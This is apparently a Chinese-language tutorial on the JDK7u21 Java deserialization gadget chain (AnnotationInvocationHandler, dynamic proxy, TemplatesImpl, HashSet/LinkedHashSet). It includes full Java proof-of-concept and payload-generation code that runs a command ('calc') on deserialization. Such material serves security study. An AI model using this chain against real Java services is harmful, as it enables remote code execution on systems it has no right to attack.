AnnotationInvocationHandler

我们都知道在java反序列化中最重要的是找到应该类方法的动态调用,如cc中的各种transforme,TemplatesImpl的字节码加载
而JDK7u21的命令执行点就是在AnnotationInvocationHandler。AnnotationInvocationHandler是一个代理类,而其有一个equalsImpl方法
其存在一个反射调用。

我们可以发现其memberMethod是遍历了getMemberMethods()。

而getMemberMethods的返回值其实是type.getDeclaredMethods();而type我们可控,那么我们只要传入TemplatesImpl的接口Templates就可以调用到newTransformer了

不可以直接传入type为TemplatesImpl.class这是因为在遍历方法时第一个遍历的是writeObject,直接抛异常退出了

但是其是一个私有类所以我们要找一下哪里调用了

而在其重写的invoke只要当member.equals(“equals”)时就可以调用到equalsImpl,且参数equals的参数。
而我们想要调用到invoke就需要使用动态代理了

动态代理

简单讲一下动态代理,动态代理需要三个东西,接口,完成接口的类,以及完成了InvocationHandler接口的类(下面简称Handler)
而我们的Handler是需要王朝invoke接口的,这个接口在代理类每次调用方法时都会走到。

invoke的三个参数就是代理类,调用的方法,参数。

继续

上面说到只要调用的方法名为equals就可以调用到equalsImpl。那么有proxy.equals(tpl)就可以命令执行了
简单测试一下命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class demo {
public static Object getTemplates()throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass code=pool.makeClass("calc");
code.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");");
code.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
byte[][] codes={code.toBytecode()};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);

setValue(templates,"_tfactory",new TransformerFactoryImpl());

return templates;

}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl tpl=(TemplatesImpl) getTemplates();
HashMap map=new HashMap();

Constructor constructor =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler Annotation=(InvocationHandler)constructor.newInstance(Templates.class,map);
Templates proxy=(Templates) Proxy.newProxyInstance(tpl.getClass().getClassLoader(),new Class[]{Templates.class},Annotation);
proxy.equals(tpl);

}

}

OK弹出了计算机,那么下面就找会调用到equals的类了。这条链子用的是Hashset这个类

Hashset

Hashset的主要作用是去重,其实也就是利用hashMao的key不能相等来进行去除

我们看Hashset的readObject可以发现其调用了map.put看一下put

可以发现当新加入的key会和map里的其他key进行比较当hash值相同时就会调用到key.equaks(k)
看一下hash的逻辑

可以发现其实就是调用了hashCode,我们所涉及的key其实就TemplatesImpl和proxy类。TemplatesImpl的hashCode是固定了,但是proxy.hashCode会调用到AnnotationInvocationHandler的hashCodeImpl

可以发现其是值是我们传入AnnotationInvocationHandler实例的map中的key的hashCode异或上value的hashcode值,那么我们只要使其前面的key的hashcode为0value为TemplatesImpl不久可以得到TemplatesImpl的hashCode值了吗?

爆破得到的值为f5a5a608。
那么我们久可以开始编写我们的exp了

相比起上面的poc我们只要加上一个HashSet添加上proxy和TemplatesImpl即可如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package Memshell;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
/* byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);*/
}


public static Object Unserializ(String Filename) throws IOException, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}


public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}

public static Object getTemplates()throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass code=pool.makeClass("calc");
code.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");");
code.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
byte[][] codes={code.toBytecode()};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);

setValue(templates,"_tfactory",new TransformerFactoryImpl());

return templates;

}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl tpl=(TemplatesImpl) getTemplates();
HashMap map=new HashMap();
map.put("f5a5a608","aaa");
Constructor constructor =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler Annotation=(InvocationHandler)constructor.newInstance(Templates.class,map);

Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, Annotation);

HashSet mapset=new HashSet();
mapset.add(tpl);

mapset.add(proxy);



System.out.println(mapset);

map.put("f5a5a608",tpl);
Serializ(mapset);
Unserializ("Ser.bin");

}


}

运行之后发现还是不行。这是因为HashSet是基于hashmap的HashSet在向hashMap添加key时其实不是按照输入顺序排的而是按照hash值来映射桶的如下


也就是说我们我们无法控制其顺序这久导致了,我们在反序列化时只能TemplatesImpl.equals(proxy)

这时我们在HashSet下可以看到一个构造方法其使用的map是LinkedHashMap,其基于链表来存储顺序,这就导致我们的put后的存储顺序可以根据前后的不同而去改变。

但是这个构造方法不是public


但是我们在LinkedHashSet里可以发现其调用了其父类HashSet的这个构造方法

这时我们就需要使用LinkedHashSet了LinkedHashSet是继承了HashSet方法的类但是其
在add时会按着添加顺序来设置其存储在hashmap的顺序。这样我们就可以操控两个key的先后顺序从而构造
proxy.equals(Templatesimpl)了

成功弹出计算机